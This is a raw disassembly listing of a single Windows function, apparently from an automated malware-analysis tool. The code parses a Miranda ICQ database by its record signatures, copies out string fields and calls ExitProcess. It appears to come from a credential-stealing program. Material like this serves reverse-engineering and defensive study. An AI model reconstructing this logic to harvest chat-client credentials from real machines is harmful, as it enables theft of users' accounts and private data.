Function at 0x40dc23
Capabilities:
Terminate process

Disassembly:
mov eax, 0x41dcc5
call fcn.004198ec
sub esp, 0x70
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [eax]
push esi
push edi
lea esi, [ebp - 0x38]
mov byte [ebp - 0x11], 1
mov dword [ebp - 0x28], ebx
call fcn.00405d11
and dword [ebp - 4], 0
push str.Miranda_ICQ_DB
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40dc6e
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x38]
call fcn.00405f2c
xor al, al
jmp 0x40dfca
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x40df91
lea edi, [eax + ebx]
cmp dword [edi], 0x43decade
mov eax, dword [edi + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], eax
jne 0x40dc5b
lea eax, [ebp - 0x7c]
push eax
call fcn.00401108
mov byte [ebp - 4], 1
mov eax, dword [edi + 8]
test eax, eax
je 0x40de4b
jmp 0x40dcaa
mov eax, dword [ebp - 0x1c]
add eax, ebx
cmp dword [eax], 0x53decade
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
jne 0x40df7f
lea esi, [eax + 0x10]
mov al, byte [esi]
test al, al
je 0x40de41
and dword [ebp + 0xc], 0
movzx edi, al
lea ebx, [edi + 1]
inc esi
mov dword [ebp - 0x18], ebx
cmp ebx, 0x6400000
ja 0x40dd2c
test ebx, ebx
jne 0x40dcec
mov dword [ebp - 0x18], 1
add dword [ebp - 0x18], 4
cmp dword [0x42ca0c], 0
jne 0x40dd06
call fcn.00405c10
test al, al
je 0x40df7f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x18]
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40df6b
mov dword [ebp - 0x18], eax
jmp 0x40dd30
and dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0
je 0x40df7f
push ebx
push esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esi, edi
mov al, byte [esi]
inc esi
cmp al, 1
jne 0x40dd54
inc esi
jmp 0x40de09
cmp al, 2
jne 0x40dd60
add esi, 2
jmp 0x40de09
cmp al, 4
jne 0x40dd6c
add esi, 4
jmp 0x40de09
cmp al, 0xfe
je 0x40de02
cmp al, 0xfc
je 0x40de02
cmp al, 0xfd
je 0x40dd88
cmp al, 0xff
jne 0x40de09
movzx ebx, word [esi]
lea edi, [ebx + 1]
add esi, 2
mov dword [ebp + 0xc], edi
cmp edi, 0x6400000
ja 0x40dde9
test edi, edi
jne 0x40dda7
mov dword [ebp + 0xc], 1
add dword [ebp + 0xc], 4
cmp dword [0x42ca0c], 0
jne 0x40ddc3
call fcn.00405c10
test al, al
jne 0x40ddc3
and dword [ebp + 0xc], 0
jmp 0x40ddfe
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 0xc]
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40df6b
mov dword [ebp + 0xc], eax
jmp 0x40dded
and dword [ebp + 0xc], 0
cmp dword [ebp + 0xc], 0
je 0x40ddfe
push edi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esi, ebx
jmp 0x40de09
movzx eax, word [esi]
lea esi, [esi + eax + 2]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x18]
call fcn.0040da82
add esp, 0xc
push dword [ebp - 0x18]
call fcn.00405c44
cmp dword [ebp + 0xc], 0
je 0x40de31
push dword [ebp + 0xc]
call fcn.00405c44
mov al, byte [esi]
test al, al
jne 0x40dccb
mov edi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
cmp dword [ebp - 0x1c], 0
jne 0x40dca7
cmp dword [edi + 0x10], 0
je 0x40dec6
lea esi, [ebp - 0x48]
call fcn.00405d11
mov byte [ebp - 4], 2
xor eax, eax
mov esi, 0x421af4
cmp eax, esi
je 0x40de7c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 1
add eax, eax
push esi
lea ecx, [ebp - 0x48]
call fcn.004060be
mov esi, dword [edi + 0x10]
jmp 0x40de9d
lea eax, [esi + ebx]
cmp dword [eax], 0x45decade
mov esi, dword [eax + 8]
jne 0x40df73
lea ecx, [ebp - 0x48]
push ecx
call fcn.0040d88d
pop ecx
test esi, esi
jne 0x40de81
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x48]
push 0x7a209505
lea edi, [ebp - 0x7c]
call fcn.004011e8
mov byte [ebp - 4], 1
lea esi, [ebp - 0x48]
call fcn.00405f2c
mov eax, dword [ebp - 0x74]
push 0xd
xor edx, edx
pop ecx
div ecx
test eax, eax
je 0x40df50
lea esi, [ebp - 0x58]
call fcn.00405d11
mov byte [ebp - 4], 3
mov ecx, esi
lea edx, [ebp - 0x7c]
call fcn.0040120a
mov esi, dword [ebp - 0x54]
xor edi, edi
push edi
lea eax, [ebp + 0xc]
push eax
push 4
pop eax
lea ecx, [ebp - 0x38]
mov dword [ebp + 0xc], esi
call fcn.004060be
push edi
push dword [ebp - 0x58]
mov eax, esi
lea ecx, [ebp - 0x38]
call fcn.004060be
cmp dword [ebp - 0x34], 0xa000
jle 0x40df44
push dword [ebp - 0x34]
mov esi, dword [ebp + 8]
push edi
push 1
push esi
call fcn.00403aef
push eax
push 0x80c61103
push dword [ebp - 0x34]
push dword [ebp - 0x38]
call fcn.0040242d
and byte [ebp - 0x11], al
lea esi, [ebp - 0x38]
call fcn.00405f3e
mov byte [ebp - 4], 1
lea esi, [ebp - 0x58]
call fcn.00405f2c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x7c]
push eax
call fcn.0040114f
cmp dword [ebp - 0x20], 0
je 0x40df91
mov eax, dword [ebp - 0x20]
jmp 0x40dc79
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 4], 1
lea esi, [ebp - 0x48]
call fcn.00405f2c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x7c]
push eax
call fcn.0040114f
jmp 0x40dc5b
cmp dword [ebp - 0x34], 0
jle 0x40dfbb
push dword [ebp - 0x34]
mov esi, dword [ebp + 8]
push 0
push 1
push esi
call fcn.00403aef
push eax
push 0x80c61103
push dword [ebp - 0x34]
push dword [ebp - 0x38]
call fcn.0040242d
and byte [ebp - 0x11], al
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x38]
call fcn.00405f2c
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret